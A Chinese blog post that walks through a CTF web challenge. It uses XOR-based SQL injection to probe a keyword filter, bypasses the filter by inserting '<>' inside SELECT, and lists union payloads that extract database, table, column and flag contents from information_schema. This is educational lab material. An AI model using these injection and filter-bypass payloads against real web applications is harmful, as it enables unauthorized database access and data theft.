乔悟空-CTF-i春秋-Web-SQL

2020.09.05

是不是有些题已经不能做了……费了半天,到最后发现做不出来,和网上大神的方法一样也不行,最搞笑的有个站好像是别人运营中的,bug好像被修复了……

做题

题目

题目地址

做题

  1. 尝试简单注入,发现被发现了😕
    paylod:1' UNION SELECT 1,2,3
  2. 尝试异或注入,查看被过滤掉字符
    payload:0

    payload:0 ^(1=1)#

经过以上测试,发现确实存在异或注入,我们可以用这个方法来测试被过滤掉的字符

不能正常显示,说明异或结果是0,0与0的异或结果才是零,说明length("UNION")=0的结果是false,说明UNION字符没有被过滤
payload:0 ^(length("UNION")=0)#

测试SELECT发现直接报inj code,说明这个网页SELECT被过滤,并且检测到SELECT就没法继续运行,所以我们不能用SELECSELECTT这种双写来绕过,那接下来就要尝试找到一个能用来双写绕过的字符。

经过一通已经知道(早就看过wp🤭)结果的测试,我们能发现<>这个符号能被替换成空字符,所以我们可以通过它来双写绕过,接下来就是一通常规操作了

  1. 常规爆破🥶

    • 测输出位置
      payload:0 UNION SELEC<>T 1,2,3#

    • 数据库名为
      payload:0 UNION SELEC<>T 1,(database()),3#
      结果:sqli

    • 数据库中表名
      payload:0 UNION SELEC<>T 1,(SELEC<>T GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema='sqli'),3#
      结果:info,users

    • 表info中列名
      payload:0 UNION SELEC<>T 1,(SELEC<>T GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name='info'),3#
      结果:id,title,flAg_T5ZNdrm

    • 列flAg_T5ZNdrm中内容
      payload:0 UNION SELEC<>T 1,(SELEC<>T GROUP_CONCAT(flAg_T5ZNdrm) FROM sqli.info),3#
      结果:flag{b664e9a5-5388-45f6-afd4-3b9a*********},test

总结

  1. 这个题目如果让我单独做,可能做不出来,因为找<>这个符号不太好找,不知道第一个做出来的人是怎么找到的……
  2. 一开始测试注入的时候要多试……
  3. 继续加油🥱
posted @ 2020-09-05 09:54  乔悟空  阅读(104)  评论(0编辑  收藏  举报